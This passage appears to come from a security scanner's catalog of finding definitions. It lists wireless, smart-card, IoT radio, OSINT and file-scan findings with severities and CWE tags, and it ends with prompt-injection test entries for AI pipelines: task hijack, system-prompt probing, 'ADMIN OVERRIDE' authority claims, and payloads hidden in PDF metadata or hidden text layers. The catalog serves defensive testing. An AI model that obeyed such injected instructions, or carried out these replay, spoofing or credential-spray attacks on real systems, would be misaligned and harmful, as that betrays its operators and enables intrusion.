The BR/EDR encryption key-entropy negotiation (LMP) is not integrity-protected, letting a MITM force both devices to a 1...
8.1 CWE-327 CWE-310
GB-BT-014 HIGH BLUFFS — Bluetooth Forward/Future Secrecy Weakness (CVE-2023-24023)
Weaknesses in BR/EDR session-key derivation (Core Spec 4.2-5.4) permit unilateral, repeatable session-key derivation, br...
— CWE-327 CWE-310
GB-BT-015 HIGH BIAS — Bluetooth Impersonation (CVE-2020-10135)
BR/EDR authentication does not mandate mutual authentication; via role-switch and SC-to-legacy downgrade an attacker imp...
5.4 CWE-287 CWE-290 CWE-757
GB-BT-016 MEDIUM BLURtooth — Cross-Transport Key Overwrite (CVE-2020-15802)
In dual-mode devices supporting Cross-Transport Key Derivation (spec 4.2/5.0 before 5.1), an unauthenticated attacker in...
— CWE-287
GB-BT-017 HIGH BLESA — BLE Reconnection Spoofing (CVE-2020-9770)
BLE reconnection authentication is optional and often not enforced by the client, so a central accepts spoofed data from...
— CWE-287 CWE-294
GB-BT-018 HIGH Unauthenticated GATT Characteristic Read
One or more GATT characteristics returned data over an unpaired, unencrypted link (ATT Read Response with a value and no...
— CWE-306 CWE-862 CWE-319
GB-BT-019 CRITICAL Unauthenticated GATT Characteristic Write
A GATT write to a device characteristic succeeded over an unpaired, unencrypted link (ATT Write Response with no securit...
— CWE-306 CWE-862 CWE-284
GB-BT-020 HIGH Unauthenticated GATT Notification/Indication Stream
On an unpaired link the device granted a large ATT MTU and started notifications/indications after a CCCD write, streami...
— CWE-200 CWE-306
GB-BT-021 HIGH SweynTooth BLE SoC Vulnerability Surface
The device's BLE System-on-Chip belongs to a vendor/part with known SweynTooth firmware vulnerabilities in the Link Laye...
8.8 CWE-863 CWE-120 CWE-787 +1
GB-BT-022 HIGH BrakTooth BR/EDR SoC Vulnerability Surface
The device's BR/EDR System-on-Chip belongs to a vendor/part with known BrakTooth LMP/Baseband vulnerabilities (V1-V16), ...
8.8 CWE-20 CWE-787 CWE-125 +1
GB-BT-023 HIGH BleedingTooth Linux BlueZ Kernel Vulnerability Surface
The Linux host behind the Bluetooth controller runs an unpatched BlueZ kernel (< 5.9), exposing the BleedingTooth family...
8.3 CWE-843 CWE-787 CWE-200
GB-BT-024 HIGH BlueBorne Bluetooth Stack Vulnerability Surface
The host Bluetooth stack (Linux BlueZ, Android, Windows, or old iOS) predates the 2017 BlueBorne patches, exposing SDP/B...
8.0 CWE-787 CWE-125 CWE-300
GB-BT-025 INFO LE Secure Connections Confirmed (Passively Uncrackable)
The device completed LE Secure Connections pairing (ECDH P-256), confirmed on the wire by the Pairing Public Key / DHKey...
— —
GB-BT-026 MEDIUM BlueSmack / L2CAP Echo Denial of Service
The device degraded or reset under a bounded L2CAP echo / l2ping flood (BlueSmack), indicating it does not bound or rate...
— CWE-400 CWE-770
GB-BT-027 MEDIUM Bluetooth Connection Exhaustion / l2ping Flood
Rapid L2CAP/ACL connection opens or a sustained l2ping flood exhausted the device's connection slots, causing it to refu...
— CWE-400 CWE-770
GB-BT-028 HIGH Bluetooth Link-Layer Malformed-PDU Crash
The device crashed or deadlocked when sent a malformed Link-Layer / HCI PDU (the generic class covering SweynTooth/BrakT...
— CWE-20 CWE-787
GB-BT-029 INFO Bluetooth Testing SKIPPED — No Adapter or Sniffer Available
No Bluetooth adapter or sniffer was selected/available for the instance, so Bluetooth/BLE testing was not performed.
— —
GB-WIFI-001 INFO Wi-Fi Network Discovered
An 802.11 access point was detected during zero-knowledge scanning, along with its beacon/RSN metadata (SSID, BSSID, cha...
— —
GB-WIFI-002 HIGH Open Wi-Fi Network — No Encryption
The access point provides no link-layer encryption (open authentication). All frames to and from associated devices are ...
7.5 CWE-319
GB-WIFI-003 CRITICAL WEP Encryption in Use
The access point uses WEP, a cryptographically broken cipher whose RC4/IV key can be recovered from captured traffic usi...
9.1 CWE-327 CWE-326
GB-WIFI-004 MEDIUM WPA/WPA2-PSK Handshake Capturable
The WPA/WPA2-PSK 4-way EAPOL handshake was captured (passively, or after a bounded deauth), providing a verifiable offli...
5.9 CWE-294 CWE-326
GB-WIFI-005 MEDIUM WPA PMKID Capturable (Clientless)
An RSN PMKID was solicited and captured from the AP with a single association request and no connected client (hcxdumpto...
5.9 CWE-294 CWE-326
GB-WIFI-006 MEDIUM WPS Enabled
The access point advertises Wi-Fi Protected Setup. The 8-digit registrar PIN is validated in two independently-checkable...
6.5 CWE-1391 CWE-307
GB-WIFI-007 HIGH WPS Pixie-Dust Vulnerable
The WPS registrar generates predictable/low-entropy E-S1/E-S2 Diffie-Hellman nonces, allowing the WPS PIN to be recovere...
8.1 CWE-330 CWE-1391
GB-WIFI-008 MEDIUM Missing 802.11w Management Frame Protection
The network does not require 802.11w Management Frame Protection (the MFPR bit is clear in the RSN capabilities), so dea...
6.5 CWE-940 CWE-1188 CWE-345
GB-WIFI-009 MEDIUM WPA3 Transition Mode Downgrade
The AP advertises WPA3 in transition (mixed) mode, offering both SAE (WPA3) and PSK (WPA2) AKM suites on the same SSID.
5.9 CWE-757 CWE-326
GB-WIFI-010 HIGH Rogue Access Point / Evil Twin Feasible
The device under test associated with a rogue access point cloning the target SSID (optionally PMF-less / WPA2-only) ins...
8.1 CWE-290 CWE-291 CWE-350
GB-WIFI-011 MEDIUM Wi-Fi Deauthentication Denial of Service
A bounded burst of forged deauthentication/disassociation frames disconnected the device under test from its network, co...
6.5 CWE-400 CWE-940
GB-WIFI-012 INFO Wi-Fi Testing SKIPPED — No Wireless Adapter or Toolkit Available
802.11 testing was not performed for this instance because no monitor-mode adapter was selected, a non-capture device (e...
— —
GB-RF-001 INFO Sub-GHz Signal Detected
An active sub-GHz (300-928 MHz) transmission from the device under test was detected and/or decoded during a zero-knowle...
— CWE-200
GB-RF-002 MEDIUM Unencrypted Sub-GHz Telemetry Decoded
rtl_433 decoded the device's sub-GHz sensor/telemetry frames in the clear, recovering payload fields with no key, which ...
5.9 CWE-319
GB-RF-003 HIGH Fixed-Code Sub-GHz Remote — Replayable
A fixed-code (static OOK/ASK) sub-GHz remote or command protocol was decoded, meaning the device transmits the identical...
7.4 CWE-294 CWE-798
GB-RF-004 LOW Rolling-Code Sub-GHz Remote Detected
A rolling-code (KeeLoq/HCS/Security+ class) sub-GHz remote was detected — a positive control that defeats naive single-f...
3.1 CWE-294
GB-RF-005 HIGH Sub-GHz Replay Attack Feasible
A captured sub-GHz command was re-transmitted (operator-confirmed, benign) and the device under test acted on it, confir...
8.1 CWE-294
GB-RF-006 HIGH Unauthenticated Sub-GHz Command Channel (OOK/FSK)
The device's sub-GHz control channel accepts commands with no authentication of the sender — the demodulated OOK/FSK fra...
7.4 CWE-306 CWE-940
GB-RF-007 MEDIUM Missing Message Authentication on Sub-GHz Link
No message-integrity or authentication field (MAC/signature) was observed on the device's sub-GHz frames, so their conte...
5.3 CWE-345 CWE-347
GB-RF-008 MEDIUM Sub-GHz Jamming Susceptibility
Under a controlled, operator-observed bench test the device's sub-GHz link was disrupted by narrowband jamming, denying ...
5.3 CWE-400 CWE-1188
GB-RF-009 INFO Sub-GHz Testing SKIPPED — No SDR/Radio Hardware Available
No sub-GHz radio or host CLI toolchain was available for this instance, so 300-928 MHz RF testing was not performed and ...
— CWE-1120
GB-UWB-001 INFO UWB Device Detected
A UWB (IEEE 802.15.4z / 802.15.4a) device was detected during passive capture, along with the frame types observed (blin...
— —
GB-UWB-002 INFO UWB Testing SKIPPED — No Sniffer or UWB Hardware Available
Gearbox attempted UWB assessment but no UWB sniffer board was selected and no sniffer binary or capture file was availab...
— —
GB-UWB-003 HIGH UWB Ranging Without Scrambled Timestamp Sequence (STS)
The UWB ranging exchange does not carry a Scrambled Timestamp Sequence (STS mode 0 / disabled, or a legacy 802.15.4a dev...
7.4 CWE-347 CWE-294 CWE-345
GB-UWB-004 HIGH Unauthenticated UWB Ranging Exchange
Ranging frames are exchanged without cryptographic authentication of the timestamp, so a receiver cannot verify that a p...
7.4 CWE-306 CWE-294
GB-UWB-005 HIGH UWB Ranging Susceptible to Distance-Reduction (Ghost Peak) Attack
Without enforced STS integrity, an over-the-air adversary can inject an early cipher-guessed STS/preamble to make the ra...
8.1 CWE-294 CWE-300
GB-UWB-006 HIGH UWB Ranging Susceptible to Relay Attack
An attacker relaying UWB ranging frames between a genuine tag and anchor can make a far peer appear in proximity. STS-ba...
7.4 CWE-300 CWE-294
GB-UWB-007 HIGH Replay of UWB Ranging Frames Accepted
Previously-captured UWB ranging frames (poll/response/final or blink) were replayed and accepted by the ranging peer, sh...
7.4 CWE-294
GB-UWB-008 MEDIUM Cleartext UWB Positioning or Payload Data
Positioning data (measured distance/coordinates) or a MAC-layer payload was observed in the clear in the UWB capture, wi...
5.3 CWE-319 CWE-359
GB-UWB-009 MEDIUM UWB Static or Non-Rotating Ranging Key (STS Reuse)
STS is present but appears to be derived from a static or reused seed/key rather than rotated per ranging session (obser...
5.9 CWE-323 CWE-330
GB-UWB-010 MEDIUM UWB Ranging Susceptible to Jamming / Denial of Service
Under a co-channel UWB jammer (UWBAD-class attack with COTS chips) the DUT's ranging was denied, confirming a denial-of-...
5.3 CWE-400 CWE-1188
GB-UWB-011 MEDIUM UWB Legacy (Pre-802.15.4z) Ranging — No Secure Ranging Support
The device supports only pre-802.15.4z (802.15.4a HRP) ranging, which has no secure-ranging (STS) capability at all and ...
— CWE-326 CWE-757
GB-UWB-012 MEDIUM UWB Device Trackable via Static Address in Blink Frames
UWB blink/ranging frames broadcast a stable device address (EUI-64 or fixed 16-bit short address) in every transmission,...
4.3 CWE-359 CWE-200
GB-SC-001 INFO Smart Card Detected
A smart card was detected in a PC/SC reader during zero-knowledge scanning, along with its Answer-To-Reset (ATR).
— —
GB-SC-002 INFO Smart Card Reader Detected
A PC/SC (CCID) smart-card reader was enumerated on the test host, providing the contact/contactless channel used for car...
— —
GB-SC-003 INFO Smart Card ATR Fingerprinted
The card's Answer-To-Reset (ATR) was captured and analysed, disclosing the card platform, chip, and card operating syste...
— CWE-200
GB-SC-004 LOW Predictable Smart Card Serial Number
The card serial/UID returned by the card is low-entropy, sequential, or otherwise predictable rather than cryptographica...
— CWE-330 CWE-340
GB-SC-005 HIGH Weak or Absent Cardholder Verification Method
The card served sensitive file content in response to raw READ BINARY APDUs with no Cardholder Verification Method enfor...
8.1 CWE-287 CWE-306
GB-SC-006 HIGH Unauthenticated APDU Access to Sensitive File
An elementary file was read via a raw READ BINARY APDU that returned 0x9000 with data without any prior VERIFY/cardholde...
6.8 CWE-284 CWE-306
GB-SC-007 CRITICAL Default GlobalPlatform Card Manager Keys
The card's GlobalPlatform Issuer Security Domain authenticated an SCP secure channel using the default test key set (40....
9.1 CWE-798 CWE-321 CWE-1392
GB-SC-008 MEDIUM Cleartext Data Object Readable on Smart Card
Data read from the card without authentication contains cleartext printable strings (asset, holder, or configuration inf...
5.3 CWE-312 CWE-311
GB-SC-009 HIGH Default or Known Smart Card PIN Accepted
The card accepted a well-known factory default PIN via an ISO-7816 VERIFY command (SW 0x9000) during an operator-confirm...
7.6 CWE-1393 CWE-521 CWE-798
GB-SC-010 MEDIUM Insecure GlobalPlatform Card Lifecycle State
The GlobalPlatform card lifecycle state is OP_READY or INITIALIZED rather than SECURED, meaning the card manager was nev...
5.9 CWE-1188 CWE-16
GB-SC-011 MEDIUM No Secure Messaging — Cleartext APDU Channel
The card returned sensitive file data over a cleartext (plain) APDU channel with no secure messaging (C-MAC/C-ENC) appli...
4.6 CWE-319 CWE-311
GB-SC-012 INFO SmartCard Testing SKIPPED — No PC/SC Reader or Tools Available
Smart-card testing was not performed because the required PC/SC toolchain (pcsc_scan / opensc-tool) or reader was unavai...
— —
GB-ZW-001 INFO Z-Wave Device Detected
A Z-Wave network was detected during passive sub-GHz (868/908 MHz) capture, along with its cleartext frame header data (...
— —
GB-ZW-002 INFO Z-Wave Network Enumerated
The Z-Wave mesh was enumerated passively from cleartext frame headers, disclosing the HomeID, the set of NodeIDs, and th...
— CWE-200
GB-ZW-003 HIGH Unencrypted Z-Wave Control Frames
Actionable Z-Wave control traffic (e.g. Binary Switch, Multilevel Switch, Door Lock, Alarm) was observed in the clear, w...
8.1 CWE-311 CWE-319
GB-ZW-004 MEDIUM Z-Wave S0 Legacy Security Class in Use
The network uses the legacy S0 Security command class (CC 0x98), which relies on AES-OFB/CBC-MAC with a network key exch...
5.9 CWE-327 CWE-294
GB-ZW-005 HIGH Z-Wave S0 Network Key Extractable on Inclusion
Because the network uses S0, its network key is derivable by any attacker who captures a device inclusion: the Network K...
8.1 CWE-321 CWE-798
GB-ZW-006 HIGH Z-Wave S2 Security Downgrade to S0 Accepted
During inclusion the controller accepted a downgrade of the negotiated security class from S2 to the legacy S0 command c...
8.1 CWE-757
GB-ZW-007 HIGH Z-Wave Command Replay Accepted
A previously captured unencrypted (or S0) Z-Wave command frame was retransmitted and the device acted on it, confirming ...
8.1 CWE-294
GB-ZW-008 INFO Z-Wave S2 Secure Class Confirmed
The network was observed using the S2 Security_2 command class (CC 0x9F), which performs an ECDH (Curve25519) authentica...
— —
GB-ZW-009 MEDIUM Z-Wave S0 NonceGet Denial-of-Service Exposure
The Z-Wave gateway accepts unauthenticated S0 NonceGet requests, allowing an attacker to flood NonceGet frames (the 'S0-...
6.5 CWE-400 CWE-770
GB-ZW-010 INFO Z-Wave Testing SKIPPED — No SDR or Sniffer Available
Z-Wave testing was not performed because no SDR/sniffer was selected, no capture CLI was installed, or no Z-Wave traffic...
— —
GB-LORA-001 INFO LoRa Transmission Detected
LoRa radio transmissions were captured on the device's regional ISM band (433/868/915 MHz) during passive scanning, incl...
— —
GB-LORA-002 INFO LoRaWAN Network Traffic Detected
LoRaWAN protocol traffic (Join and/or MAC data frames identifiable by their MHDR/FHDR structure and DevAddr) was identif...
— —
GB-LORA-003 HIGH Raw LoRa Payload Transmitted Without Encryption
A proprietary (non-LoRaWAN) LoRa frame carried an application payload that decodes to printable/structured cleartext, in...
7.5 CWE-311 CWE-319 CWE-327
GB-LORA-004 HIGH LoRaWAN ABP Activation — Static Session Keys
The device is activated by ABP (Activation By Personalization), so the NwkSKey and AppSKey are provisioned as static, lo...
7.4 CWE-323 CWE-330
GB-LORA-005 HIGH LoRaWAN OTAA Join Replay — Missing DevNonce Tracking
The device uses OTAA under LoRaWAN 1.0.x, where the end device cannot detect a repeated Join-Accept and the network serv...
7.5 CWE-294 CWE-330
GB-LORA-006 CRITICAL LoRaWAN Default or Weak AppKey
The device's LoRaWAN root AppKey (OTAA) or session keys (ABP) are default, all-zero, sequential, vendor-shared, or deriv...
9.1 CWE-798 CWE-321
GB-LORA-007 HIGH LoRaWAN Missing Frame-Counter Validation
The network accepted a LoRaWAN uplink whose frame counter (FCnt) was equal to or lower than a previously-seen value — ob...
7.1 CWE-294
GB-LORA-008 MEDIUM LoRaWAN Cleartext Application Payload
The captured FRMPayload decodes to printable/structured data and the application relies solely on LoRaWAN's session-key ...
5.3 CWE-311 CWE-319
GB-LORA-009 MEDIUM LoRaWAN 1.0.x — No Join-Request Replay Protection
The network operates LoRaWAN 1.0.x, in which Join-Request messages carry no replay protection prior to the 1.1 monotonic...
5.3 CWE-294 CWE-330
GB-LORA-010 INFO LoRa Testing SKIPPED — No SDR or LoRa Radio Available
Gearbox attempted LoRa / LoRaWAN assessment but no usable radio was available: either no hardware was selected, the LoRa...
— —
GB-BT-030 HIGH BLE LESC Passkey Recovered from Passive Capture
The 6-digit LE Secure Connections Passkey Entry passkey was recovered offline from a passively-captured pairing. In LESC...
— CWE-294 CWE-522 CWE-327
GB-SSH-006 LOW SSH Password Authentication Enabled
The SSH server accepts password-based authentication methods (password and/or keyboard-interactive) alongside public key...
3.7 CWE-307 CWE-521
GB-SSH-007 MEDIUM SSH Password-Only Authentication (No Public Key)
The SSH server accepts only password-based authentication methods (password and/or keyboard-interactive) with no public ...
5.3 CWE-307 CWE-521 CWE-287
IS-001 CRITICAL Known malicious file hash ({classification})
A file's cryptographic hash (MD5, SHA1, or SHA256) matches a known threat indicator in the pr0t31n threat intelligence d...
9.8 CWE-506
IS-002 MEDIUM Encrypted file detected
A file exhibits very high Shannon entropy (>7.99 out of 8.0), strongly indicating encryption. The encryption method is e...
5.3 —
IS-003 LOW Possibly encrypted file detected
A file exhibits elevated Shannon entropy (7.5–7.99), suggesting possible encryption or heavy compression. The boundary b...
— —
IS-004 LOW GPS coordinates embedded in file metadata
A file (typically an image) contains GPS coordinates embedded in its EXIF metadata, potentially revealing the physical l...
3.7 CWE-200
IS-005 MEDIUM Packed/obfuscated executable detected ({packers})
An executable file contains signatures of known packers (UPX, Themida, ASPack, PECompact, Petite, NsPack, MEW, MPRESS). ...
6.1 CWE-506
IS-006 HIGH Information Disclosure: Secret in File
A sensitive credential, token, API key, private key, or connection string was detected in a file's contents. The specifi...
7.5 CWE-798 CWE-312
IS-007 HIGH Weak cryptographic key ({key_bits} bits)
A certificate or private key file uses a cryptographic key shorter than 2048 bits. Keys below this threshold are conside...
7.4 CWE-326
OSIFT-001 INFO Discovery: Subdomain
A subdomain belonging to the target organisation was identified through passive or active enumeration (Amass, subfinder,...
— CWE-200
OSIFT-002 INFO Live Host Confirmed
A subdomain or IP address responded to HTTP/HTTPS probing (httpx) or ICMP/TCP and is confirmed to be serving traffic.
— CWE-200
OSIFT-003 MEDIUM Open Port Identified on Subdomain
A non-standard or sensitive port (e.g., 8080, 8443, 9200, 27017, 3306) was found open on a subdomain via naabu port scan...
5.3 —
OSIFT-004 LOW SSL/TLS Certificate Expiring Soon
An SSL/TLS certificate for a discovered host will expire within 30 days. Expiry causes browser security warnings and can...
— —
OSIFT-005 HIGH SSL/TLS Certificate: Expired
The server's TLS certificate has passed its expiry date, causing browser trust errors and indicating a breakdown in cert...
5.3 —
OSIFT-006 MEDIUM SSL/TLS Certificate Misconfiguration
A certificate was found with a misconfiguration: hostname mismatch, self-signed cert on a public host, wildcard overuse,...
5.9 —
OSIFT-007 MEDIUM DNS Misconfiguration
A DNS record anomaly was detected: dangling CNAME, multiple conflicting A records, DNSSEC misconfiguration, or inconsist...
5.3 CWE-345 CWE-924
OSIFT-008 MEDIUM SPF Record Missing
No SPF (Sender Policy Framework) TXT record was found for the target domain. Without SPF, attackers can spoof email from...
5.3 CWE-346 CWE-940
OSIFT-009 MEDIUM DMARC Record Missing
No DMARC (_dmarc.<domain> TXT) record was found. Without DMARC, there is no policy instructing receiving mail servers ho...
5.3 CWE-346 CWE-940
OSIFT-010 LOW DKIM Configuration Missing
No DKIM (DomainKeys Identified Mail) selector was discoverable for the target domain. Without DKIM, email authentication...
3.7 CWE-346 CWE-940
OSIFT-011 HIGH Breached Email Address Found
An email address associated with the target organisation appeared in a known data breach (HIBP or Dehashed). The account...
7.5 —
OSIFT-012 CRITICAL Plaintext Credential Found in Breach Database
A plaintext or reversibly hashed password was found in a breach database (Dehashed) for a target-domain email address. D...
9.1 —
OSIFT-013 CRITICAL Information Disclosure: Github Secret / API Key
GitDorker or TruffleHog identified a secret, API key, token, or private key in a public GitHub repository associated wit...
9.1 —
OSIFT-014 HIGH M365 Valid User Enumerated
TREVORspray or Azure AD authentication confirmed that a discovered email address is a valid M365/Azure AD account (user ...
5.3 —
OSIFT-015 CRITICAL M365 Valid Credential Found (Credential Spray Success)
TREVORspray successfully authenticated to M365/Azure AD with a discovered credential. Full account access to Microsoft c...
9.8 —
OSIFT-016 HIGH Subdomain Takeover Risk
A subdomain has a CNAME pointing to an external service (e.g., GitHub Pages, S3, Heroku, Shopify) that is no longer clai...
7.5 —
OSIFT-017 HIGH DNS Zone Transfer Permitted (AXFR)
The DNS server responds to unauthenticated AXFR zone transfer requests, exposing the complete DNS zone including interna...
5.3 200 16
OSIFT-018 INFO Employee Email Address Harvested
An employee email address was discovered via theHarvester, Hunter.io, LinkedIn, or public sources. Collected addresses s...
— CWE-200
OSIFT-019 INFO Web Technology Fingerprint
The technology stack of a live host was identified (Wappalyzer, httpx, whatweb): CMS, web framework, server software, Ja...
— —
OSIFT-020 MEDIUM Wayback Machine URL with Sensitive Path
waybackurls or xurlfind3r discovered a historical URL containing a sensitive path (e.g., /admin, /backup, /.env, /config...
5.3 CWE-548 CWE-200
OSIFT-021 MEDIUM Shodan Exposure — Open Service
Shodan reports an open service on a target IP that is visible to the public internet. Banner data, software version, and...
5.3 —
OSIFT-022 HIGH Shodan Exposure — Known CVE on Service
Shodan has associated one or more CVEs with a service running on a target IP based on the service banner and version str...
— —
OSIFT-023 HIGH Cloud Storage Bucket Found
cloud_enum or manual enumeration discovered a publicly accessible cloud storage bucket (AWS S3, Azure Blob, GCP Storage)...
8.6 —
OSIFT-024 INFO Certificate Transparency Log Entry
A certificate was found in CT logs (crt.sh, Certspotter, Facebook CT) for the target domain. The SAN/CN reveals subdomai...
— —
OSIFT-025 INFO ASN / IP Range Identified
The Autonomous System Number (ASN) and associated IP ranges for the target organisation were identified via BGP data and...
— CWE-200
OSIFT-026 INFO WHOIS Data Exposure
WHOIS records for the target domain revealed registrant contact details, nameserver names, registrar information, and re...
— —
OSIFT-027 INFO LinkedIn Employee Profile Enumerated
Employee names, titles, and organisational roles were enumerated from LinkedIn. This information supports spear-phishing...
— —
OSIFT-028 INFO Social Media Profile Linked to Employee
maigret discovered social media profiles (Twitter, GitHub, Reddit, etc.) linked to an employee username derived from the...
— —
OSIFT-029 HIGH Sensitive File Found via Web Crawler
katana or xurlfind3r discovered a publicly accessible file containing potentially sensitive data: backup archives (.zip,...
7.5 —
OSIFT-030 LOW HTTP Security Headers Missing
httpx detected missing security headers on a live host: Content-Security-Policy, X-Frame-Options, Strict-Transport-Secur...
4.3 —
OSIFT-031 CRITICAL Weak or Default Credentials Accepted
The target accepted well-known default or factory-set credentials, granting unauthorised access.
9.8 CWE-1392
OSIFT-032 MEDIUM Uncover / Internet-Wide Scan Engine Match
The uncover tool found the target in internet-wide scan engine results (Shodan, Censys, FOFA, Quake360, ZoomEye, Crimina...
5.3 —
OSIFT-033 LOW Wildcard DNS Record Detected
A wildcard DNS record (*.domain.com) was detected. This causes all subdomains to resolve, which may mask dangling CNAMEs...
— CWE-345 CWE-924
OSIFT-034 INFO Cloud Service Provider Asset Identified
cloudlist or cdncheck identified assets hosted in cloud or CDN infrastructure (AWS, Azure, GCP, Cloudflare, Fastly, Akam...
— CWE-200
OSIFT-035 INFO SEC EDGAR Filing Data Found
Public SEC EDGAR filings for the target company revealed corporate structure, subsidiary entities, executive names, and ...
— —
OSIFT-036 INFO Third-Party / Supply Chain Domain Identified
Enumeration revealed domains or subdomains associated with third-party services, SaaS providers, or supply chain vendors...
— CWE-494
OSIFT-037 INFO Discovery: Email Address
One or more email addresses associated with the target organisation or its employees were harvested during OSINT enumera...
— CWE-200
OSIFT-038 INFO Discovery: IP Address
One or more IP addresses were mapped to the target organisation's assets through DNS resolution, certificate transparenc...
— CWE-200
OSIFT-039 MEDIUM Information Disclosure: Internal Server Directory Structure
Internal filesystem path components were found exposed in publicly accessible sources, including HTTP response bodies, e...
5.3 CWE-548 CWE-200
OSIFT-040 INFO Phone Number Pattern Spotted
A pattern matching a telephone number (e.g., +1-555-867-5309, (800) 123-4567) was identified in publicly accessible web ...
— CWE-359 CWE-200
OSIFT-041 HIGH Potential PII Pattern — Social Security Number Format Detected
Content matching the US Social Security Number format (XXX-XX-XXXX, nine digits with specific separators) was identified...
7.5 CWE-359 CWE-200
OSIFT-042 MEDIUM SSL/TLS Certificate: Self-Signed
A self-signed TLS certificate was identified on a publicly reachable host associated with the target organisation. Self-...
5.3 —
OS-001 Phone Number Pattern Spotted - Unconfirmed 3.7 CWE-359 CWE-200
OS-002 Social Security pattern detected: 7.5 CWE-359 CWE-200
OSIFT-043 INFO DNS: DMARC record found
A DMARC (Domain-based Message Authentication, Reporting and Conformance) record was found for the domain. DMARC instruct...
— —
OSIFT-044 LOW DNS: Missing CAA Record
No Certificate Authority Authorization (CAA) DNS record was found for the domain. CAA records restrict which certificate...
— CWE-295
OSIFT-045 INFO nslookup forward lookup: {record_summary}
Forward DNS lookup enumeration was performed, revealing mail exchange (MX), name server (NS), text (TXT), and other DNS ...
— —
OSIFT-046 MEDIUM Typosquatting Domain Detected
One or more domains visually or typographically similar to the target domain were detected with active DNS resolution, i...
— —
OSIFT-047 INFO DNS: A Record
A record maps a domain to an IPv4 address, revealing the IP infrastructure behind a hostname.
— —
OSIFT-048 INFO DNS: AAAA Record
AAAA record maps a domain to an IPv6 address, revealing dual-stack infrastructure.
— —
OSIFT-049 INFO DNS: MX Record
MX record identifies the mail servers responsible for accepting email for the domain.
— —
OSIFT-050 INFO DNS: NS Record
NS record identifies the authoritative nameservers for the domain.
— —
OSIFT-051 INFO DNS: TXT Record
TXT records contain arbitrary text data including SPF policies, DKIM keys, domain verification tokens, and service confi...
— —
OSIFT-052 INFO DNS: SOA Record
SOA record contains the primary nameserver, responsible party email, and zone serial/refresh parameters.
— —
OSIFT-053 INFO DNS: CNAME Record
CNAME record creates an alias from one domain to another canonical name.
— —
OSIFT-054 HIGH GitHub Actions: Workflow Injection Vulnerability
gato identified a GitHub Actions workflow that uses unsanitized expression substitution (${{ }}) with attacker-controlle...
8.1 CWE-94
OSIFT-055 HIGH GitHub Actions: Secret Exfiltration Path
gato identified a workflow configuration where secrets are accessible to jobs or steps that process untrusted input. An ...
7.5 CWE-200 CWE-522
OSIFT-056 MEDIUM GitHub Actions: Overly Permissive Permissions
gato identified a GitHub Actions workflow with overly permissive GITHUB_TOKEN permissions (such as write-all, admin, or ...
5.3 CWE-269 CWE-250
OSIFT-057 MEDIUM GitHub Actions: Self-Hosted Runner Risk
gato identified self-hosted GitHub Actions runners configured on a public repository. Self-hosted runners in public repo...
6.5 CWE-269
OSIFT-058 INFO GitHub Actions: Audit Complete — No Issues
gato completed a security audit of the target organization's GitHub Actions workflows and found no injection vulnerabili...
— —
OSIFT-059 HIGH CDN/WAF Bypass: Origin IP Exposed
hakoriginfinder discovered the origin server IP address behind the CDN/WAF. The origin IP responds to HTTP requests dire...
7.5 CWE-693 CWE-16
OSIFT-060 MEDIUM CDN/WAF Bypass: Potential Origin IP
hakoriginfinder identified an IP address that may be the origin server behind the CDN/WAF. The IP responded to HTTP requ...
5.3 CWE-693
OSIFT-061 INFO CDN/WAF Bypass: No Origin Exposure
hakoriginfinder scanned for the origin server IP behind the CDN/WAF and found no exposed origin IPs. The CDN/WAF appears...
— —
OSIFT-062 INFO Historical Endpoints Discovered
waymore discovered historical endpoints for the target domain across multiple web archive sources (Wayback Machine, Comm...
— CWE-200
OSIFT-063 MEDIUM Sensitive Historical URL Discovered
waymore discovered historical URLs matching security-sensitive patterns (admin, config, debug, backup, test, internal, s...
5.3 CWE-200 CWE-538
OSIFT-064 LOW Historical API Endpoint
waymore discovered API endpoints in web archive data (/api/, /v1/, /v2/, /graphql, /rest/, /ws/, /webhook). These endpoi...
3.7 CWE-200
OSIFT-065 LOW Document Metadata: Internal Username Leaked
exiftool extracted an internal username from the Author or Creator metadata field of a publicly accessible document. Thi...
3.7 CWE-200
OSIFT-066 INFO Document Metadata: Software Version Disclosed
exiftool extracted the software name and version from the Creator or Producer metadata field of a publicly accessible do...
— CWE-200
OSIFT-067 LOW Document Metadata: Internal File Path Leaked
exiftool extracted an internal file system path (such as C:\Users\jsmith\Documents\... or /home/admin/reports/...) from ...
3.7 CWE-200 CWE-538
OSIFT-068 INFO Document Metadata: Email Address Leaked
exiftool extracted an email address from the metadata of a publicly accessible document. This email may belong to the do...
— CWE-200
OSIFT-069 MEDIUM Document Metadata: GPS Coordinates Leaked
exiftool extracted GPS coordinates from the EXIF metadata of a publicly accessible image or document. This reveals the p...
5.3 CWE-200 CWE-359
OSIFT-070 INFO Document Metadata: Audit Summary
exiftool completed a metadata audit of publicly accessible documents found during reconnaissance. This finding summarize...
— —
PI-001 CRITICAL AI Prompt Injection — Task Hijack via {strategy}
The AI pipeline abandoned its primary task entirely when processing a file containing an injected instruction in its met...
9.1 CWE-74 CWE-77
PI-002 HIGH AI Prompt Injection — Prefix Inject via {strategy}
The AI pipeline completed its primary task but also followed an injected instruction to prefix its output with an attack...
7.5 CWE-74
PI-003 CRITICAL AI Prompt Injection — Classify Override via {strategy}
The AI pipeline returned an attacker-controlled classification label instead of performing genuine content analysis. The...
9.1 CWE-74 CWE-345
PI-004 CRITICAL AI Prompt Injection — System Probe via {strategy}
The AI pipeline disclosed its system prompt or internal configuration in response to an injected instruction embedded in...
8.6 CWE-200 CWE-74
PI-005 HIGH AI Prompt Injection — Authority Claim via {strategy}
The AI pipeline followed an injected instruction that claimed special authority (e.g. 'AUTHORIZED EVALUATOR', 'ADMIN OVE...
7.5 CWE-74 CWE-284
PI-006 HIGH AI Prompt Injection — {category} via {strategy} (Partial Injection)
The AI pipeline completed its primary task but also followed the injected instruction — the canary token appeared in the...
7.5 CWE-74
PI-007 HIGH AI Prompt Injection — {category} via {strategy} (Stored Text Injection)
The injected payload was not detected in the immediate AI response but was found persisted in stored results at the veri...
8.1 CWE-79 CWE-74
PI-008 INFO AI Injection Resilient — {category} via {strategy}
The AI pipeline did not follow the injected instruction. The canary token was absent from both the immediate response an...
— —
PI-009 INFO AI Injection Dry Run — {category} via {strategy}
A test file containing an injected adversarial payload was generated but not submitted to a target AI pipeline (--dry-ru...
— —
PI-010 CRITICAL AI Prompt Injection — Task Hijack via pdf_docinfo_metadata
The AI pipeline abandoned its primary task when processing a PDF whose document-info metadata (Author, Subject, Keywords...
9.1 CWE-74 CWE-77
PI-011 CRITICAL AI Prompt Injection — {category} via pdf_hidden_text_layer
The AI pipeline processed a PDF containing a hidden text layer (white text on white background) with an injected instruc...
9.1 CWE-74
PI-012 HIGH AI Prompt Injection — {category} via png_text_chunk_metadata
